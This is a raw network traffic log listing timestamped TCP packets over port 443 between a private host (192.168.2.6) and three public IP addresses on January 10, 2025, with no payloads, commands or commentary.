Jan 10, 2025 00:21:03.932907104 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:03.933219910 CET	49766	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:03.933226109 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:03.980000019 CET	49766	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.178459883 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.178497076 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.178534031 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.178545952 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.178549051 CET	49766	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.178589106 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.178601027 CET	49766	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.178603888 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.178647041 CET	49766	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.180296898 CET	49766	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.180314064 CET	443	49766	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.194549084 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.194590092 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.194782019 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.194981098 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.194996119 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.336886883 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.337217093 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.337232113 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.337558031 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.338258982 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.338326931 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.338542938 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.379334927 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.487286091 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.487461090 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.487535000 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.487562895 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.487653971 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.487749100 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.487761974 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.487781048 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.487885952 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.487893105 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.488012075 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.488109112 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.488116026 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.491797924 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.491894007 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.491933107 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.491950035 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.492058039 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.575350046 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.575412989 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.575462103 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.575489998 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.575524092 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.575623989 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.575680971 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576113939 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576144934 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576181889 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576210976 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576215029 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.576225042 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576267958 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.576328993 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.576818943 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576880932 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576910973 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576936007 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576966047 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.576976061 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.576988935 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.577836990 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.577884912 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.577920914 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.577933073 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.577939034 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.578018904 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.578054905 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.578059912 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.578077078 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.578782082 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.578834057 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.578844070 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.578851938 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.578949928 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.578955889 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.578969002 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.579016924 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.579941034 CET	49772	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.579957008 CET	443	49772	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.612565041 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:04.612611055 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:04.612672091 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:04.613459110 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:04.613475084 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:04.634241104 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.634300947 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.634685993 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.634768963 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:04.634777069 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:04.819677114 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.828294992 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.828315020 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.829536915 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.829623938 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.829633951 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.829684973 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.832461119 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.832636118 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.832737923 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.879321098 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.887185097 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:04.887212038 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:04.931889057 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:05.074263096 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:05.074295044 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:05.074304104 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:05.074323893 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:05.074369907 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:05.074374914 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:05.074425936 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:05.086190939 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.087526083 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.127804041 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.128946066 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.168181896 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.168190956 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.168287992 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.168304920 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.169357061 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.169428110 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.169472933 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.170321941 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.339591980 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.339807987 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.339963913 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.340307951 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.340661049 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.340684891 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.340945005 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.340972900 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.374155045 CET	49773	443	192.168.2.6	185.15.59.240
Jan 10, 2025 00:21:05.374180079 CET	443	49773	185.15.59.240	192.168.2.6
Jan 10, 2025 00:21:05.383368015 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.383377075 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.443806887 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.443880081 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.443931103 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.443972111 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.443994045 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.444030046 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.444046021 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.444113016 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.444159031 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.444173098 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.444179058 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.444233894 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.444278002 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.444284916 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.444468021 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.447447062 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447556019 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447592974 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447627068 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447643042 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.447671890 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447688103 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.447848082 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447884083 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447921038 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447926998 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.447937012 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.447961092 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.448348045 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.448415995 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.448510885 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.448520899 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.452775002 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.453110933 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.453130007 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.487732887 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.490995884 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.491038084 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.491127014 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.491976976 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.491992950 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.502855062 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.530395031 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.530606031 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.530659914 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.530673981 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.530950069 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.530982018 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.531028986 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.531056881 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.531194925 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.531455040 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.531512976 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.531539917 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.531562090 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.531569004 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.531677008 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.531682014 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532301903 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532331944 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532360077 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532381058 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.532386065 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532413960 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.532414913 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532449007 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532490969 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.532495975 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.532541037 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.533158064 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533216953 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533246994 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533269882 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.533273935 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533312082 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533318043 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.533322096 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533359051 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.533361912 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533385038 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533436060 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.533611059 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.533627033 CET	443	49780	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:05.533636093 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.533860922 CET	49780	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:05.535914898 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536062002 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536089897 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536122084 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536128998 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.536144972 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536168098 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.536715984 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536747932 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536765099 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.536772966 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.536815882 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.537166119 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.537375927 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.537602901 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.537689924 CET	49779	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.537699938 CET	443	49779	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.543545008 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.543559074 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.543617010 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.543843985 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.543852091 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.970700979 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.971024036 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.971043110 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.971390963 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.972259045 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:05.972322941 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:05.972846985 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.018364906 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.019325018 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.019896030 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.019916058 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.020248890 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.020656109 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.020710945 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.020876884 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.067327023 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112507105 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112574100 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112637997 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112682104 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112690926 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.112725019 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112737894 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.112776041 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112818956 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112860918 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.112865925 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.112951994 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.113147974 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.113226891 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.113347054 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.113353014 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.118798971 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.119153023 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.119159937 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.173604965 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.176219940 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.176302910 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.176361084 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.177268982 CET	49787	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.177273989 CET	443	49787	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.182107925 CET	49794	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:06.182132959 CET	443	49794	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:06.182244062 CET	49794	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:06.182607889 CET	49794	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:06.182620049 CET	443	49794	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:06.202847958 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.202929020 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.202959061 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.202980995 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.203001976 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.203062057 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.203067064 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.203799963 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.203849077 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.203855038 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204081059 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204113007 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204231024 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.204236984 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204287052 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.204533100 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204627991 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204657078 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204672098 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.204675913 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.204713106 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.205416918 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.205470085 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.205508947 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.205527067 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.205530882 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.205569029 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.205573082 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.206289053 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.206327915 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.206345081 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.206348896 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.206413031 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.206417084 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.209846020 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.209898949 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.209922075 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.255285978 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.293582916 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.293647051 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.293687105 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.293709993 CET	49786	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:06.293736935 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.293749094 CET	443	49786	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:06.293807030 CET	49786	443	192.168.2.6	104.18.94.41
